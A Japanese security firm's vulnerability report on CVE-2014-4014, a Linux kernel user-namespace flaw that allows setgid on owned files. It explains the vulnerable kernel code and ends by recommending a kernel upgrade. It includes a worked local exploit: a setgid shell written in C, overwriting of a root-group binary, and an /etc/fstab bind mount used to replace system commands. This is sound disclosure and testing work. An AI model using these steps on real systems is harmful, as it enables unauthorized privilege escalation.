スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Linux Kernel capability実装の不備(CVE-2014-4014)

タイガーチームセキュリティレポート

Linux Kernel capability実装の不備(CVE-2014-4014)

今回はLinux Kernelのcapability実装の不備による権限昇格の脆弱性(CVE-2014-4014)を検証しました。


-影響と対策-

3.14.8以前のLinux Kernelにはchmodする際のcapabilityのチェックに不備があり、一般ユーザがそのユーザの所有する任意のファイルにsetgid bitをsetすることができます。これを悪用すると、ローカルの一般ユーザが管理者権限を取得できる恐れがあります。

Linux Kernelのバージョンアップで対策が可能です。


-Namespace-

namespaceはシステムのglobal resourceを仮想的に分割してそれぞれをnamespace内で仮想的なglobal resourceとして使用できるような仕組みです。

その一つであるUser namespaceはnamespace内で自由にuidとgidを設定できる機能です。これを利用すると、管理者権限を持たないプロセスが新しいnamespaceを生成してその中で管理者権限(uid 0)を必要とするプロセスを動作させることも可能になります。

セキュリティ上の考慮点として、あるUser namespace内で管理者権限を持つプロセスがfilesystem等の外部のresourceにアクセスしようとするとき、Kernelはuidまたはgidのmapping情報をもとにUser namespace内部での権限と外部での権限を区別します。

uidとgidのmappingはそれぞれ/proc/<PID>/uid_mapと/proc/<PID>/gid_mapに設定されます。

今回の比較的単純な脆弱性はchmodでsetgidする際にチェックされるべきmapされたgidのチェック漏れが原因となっています。つぎに、今回の脆弱性の原因となっている箇所をLinux Kernel 3.13のソースコードをもとに確認していきます。


-問題の箇所-

以下は、chownやchmodでinodeの情報を変更する際に権限をチェックする関数であるinode_change_ok()のソースコードです。問題の箇所はchmodする際に実行される63行目以降にあります。

 31 int inode_change_ok(const struct inode *inode, struct iattr *attr)
 32 {
 33         unsigned int ia_valid = attr->ia_valid;
 34 
 35         /*
 36          * First check size constraints.  These can't be overriden using
 37          * ATTR_FORCE.
 38          */
 39         if (ia_valid & ATTR_SIZE) {
 40                 int error = inode_newsize_ok(inode, attr->ia_size);
 41                 if (error)
 42                         return error;
 43         }
 44 
 45         /* If force is set do it anyway. */
 46         if (ia_valid & ATTR_FORCE)
 47                 return 0;
 48 
 49         /* Make sure a caller can chown. */
 50         if ((ia_valid & ATTR_UID) &&
 51             (!uid_eq(current_fsuid(), inode->i_uid) ||
 52              !uid_eq(attr->ia_uid, inode->i_uid)) &&
 53             !inode_capable(inode, CAP_CHOWN))
 54                 return -EPERM;
 55 
 56         /* Make sure caller can chgrp. */
 57         if ((ia_valid & ATTR_GID) &&
 58             (!uid_eq(current_fsuid(), inode->i_uid) ||
 59             (!in_group_p(attr->ia_gid) && !gid_eq(attr->ia_gid, inode->i_gid))) &&
 60             !inode_capable(inode, CAP_CHOWN))
 61                 return -EPERM;
 62 
 63         /* Make sure a caller can chmod. */
 64         if (ia_valid & ATTR_MODE) {
 65                 if (!inode_owner_or_capable(inode))
 66                         return -EPERM;
 67                 /* Also check the setgid bit! */
 68                 if (!in_group_p((ia_valid & ATTR_GID) ? attr->ia_gid :
 69                                 inode->i_gid) &&
 70                     !inode_capable(inode, CAP_FSETID))
 71                         attr->ia_mode &= ~S_ISGID;
 72         }
fs/attr.c

ファイルの所有者が自分の所属しない所有グループのファイルをchmodすると70行目のinode_capable()でcapabilityをチェックするようになっています。以下はinode_capable()のソースコードです。

449 bool inode_capable(const struct inode *inode, int cap)
450 {
451         struct user_namespace *ns = current_user_ns();
452 
453         return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid);
454 }
kernel/capability.c

453行目をみるとnamespace内でCAP_FSETIDを持ち、かつmapされたuidがchmodしようとするinodeのuidと一致していればチェックをパスすることがわかります。gidのmappingについてはまったくチェックしていません。

User namespaceの最初のプロセスはすべてのcapabilityを持つので、そのプロセスのuidがchmodしようとするinodeのuidにmapされている場合は、setgidが許可されることがわかります。これがこの脆弱性の原因です。


-exploit-

以下の検証は、Ubuntu 14.04で行いました。Kernelのバージョンは3.13.0-24-genericです。

Vitaly NikolenkoのPOCは脆弱性を利用して自分が所有する任意のファイルをsetgidするものです。setgidするファイルの有力な候補はrootグループが所有するファイルということになります。まずはこれを探してみます。

acruel@trusty:~/work/cve-2014-4014$ sudo find / \( -group 0 -a ! -uid 0 \) -type f -ls
find: `/run/user/1000/gvfs': Permission denied

*snip*

580241  408 -rwxr-xr-x   1 postgres root       416778  6月 30 09:36 /opt/metasploit/postgresql/bin/psql.bin

*snip*

acruel@trusty:~/work/cve-2014-4014$

postgresユーザとrootグループが所有するファイルがみつかりました このファイルを利用してrootグループに権限昇格してみます。

以下ではpostgresユーザで対話的にshellを実行できることを前提に話を進めますが、postgresql serverにdatabase accountでログインしてpostgresユーザの権限で外部コマンドを実行することが可能な場合もあります。

postgres@trusty:/tmp$ cat << EOF > shell.c
> int main() {
>     setgid(0);
>     execl("/bin/bash", "-sh", 0);
> }
> EOF
postgres@trusty:/tmp$ gcc -o shell shell.c 
shell.c: In function ‘main’:
shell.c:3:5: warning: incompatible implicit declaration of built-in function ‘execl’ [enabled by default]
     execl("/bin/bash", "-sh", 0);
     ^
shell.c:3:5: warning: missing sentinel in function call [-Wformat=]
postgres@trusty:/tmp$ cat shell > /opt/metasploit/postgresql/bin/psql.bin
postgres@trusty:/tmp$ ls -al /opt/metasploit/postgresql/bin/psql.bin
-rwxr-xr-x 1 postgres root 8564  6月 30 09:41 /opt/metasploit/postgresql/bin/psql.bin
postgres@trusty:/tmp$ ./cve-2014-4014 /opt/metasploit/postgresql/bin/psql.bin
postgres@trusty:/tmp$ ls -al /opt/metasploit/postgresql/bin/psql.bin
-rwxr-s--- 1 postgres root 8564  6月 30 09:41 /opt/metasploit/postgresql/bin/psql.bin
postgres@trusty:/tmp$ /opt/metasploit/postgresql/bin/psql.bin
-sh-4.3$ id
uid=116(postgres) gid=125(postgres) egid=0(root) groups=125(postgres),107(ssl-cert)
-sh-4.3$

psql.binの内容をshellに置き換えて、これを脆弱性を利用してsetgidした上で実行するとegid 0でshellを実行できました この段階ではグループがrootになっただけで管理者権限を取ったわけではありません。

この先は、環境によっていろいろな攻撃方法が考えられます。ここではrootグループで書き込み可能なファイルを探してみることにしましょう。

acruel@trusty:~/work/cve-2014-4014$ sudo find / -perm -g+w -gid 0 -type f -ls

*snip*

524290    4 -rw-rw-r--   1 root     root          710  6月 30 09:11 /etc/fstab

*snip*

acruel@trusty:~/work/cve-2014-4014$

/etc/fstabがrootグループで書き込み可能です これを利用してシステム上の任意のファイルを別のファイルに置き換えられます。ここでは例としてlsコマンドを別のコマンドcowsayに置き換えてみましょう。

-sh-4.3$ echo "/usr/games/cowsay /bin/ls none bind,user 0 0" >> /etc/fstab
-sh-4.3$ mount /usr/games/cowsay
-sh-4.3$ ls -f /usr/share/cowsay/cows/daemon.cow FreeBSD is cool
 _________________
< FreeBSD is cool >
 -----------------
   \         ,        ,
    \       /(        )`
     \      \ \___   / |
            /- _  `-/  '
           (/\/ \ \   /\
           / /   | `    \
           O O   ) /    |
           `-^--'`<     '
          (_.)  _  )   /
           `.___/`    /
             `-----' /
<----.     __ / __   \
<----|====O)))==) \) /====
<----'    `--' `.__,' \
             |        |
              \       /
        ______( (_  / \______
      ,'  ,-----'   |        \
      `--{__________)        \/
-sh-4.3$

lsを実行したらデーモン君が現れました これは非常にナンセンスな例ですが、管理者が実行するコマンドを攻撃者が用意したコマンドに置き換える方法は有効な攻撃であると考えられます。共有ライブラリや設定ファイルを置き換えることも考えられます。いずれかの方法で、攻撃者はroot権限を取得できそうです。

しかしこの方法では攻撃者が置き換えたコマンドを管理者が実行してくれるのを受動的に待つ必要があるのでイマイチです。これは、たっとひとつの冴えたやりかた(the only neat thing to do)ではありません。

以上、CVE-2014-4014の検証でした。このexploitにはシステムにrootグループが所有するファイルが存在していることが前提条件になるため、権限昇格が可能かどうかは環境に大きく依存します。今回はpostgresユーザ -> rootグループ -> rootユーザの順に権限昇格するシナリオを検証しました。


参考情報:
[1] oss-security - CVE-2014-4014: Linux kernel user namespace bug
http://www.openwall.com/lists/oss-security/2014/06/10/4
[2] CVE-2014-4014: Linux Kernel Local Privilege Escalation "exploitation"
http://hashcrack.org/


タイガーチームメンバー 塚本 泰三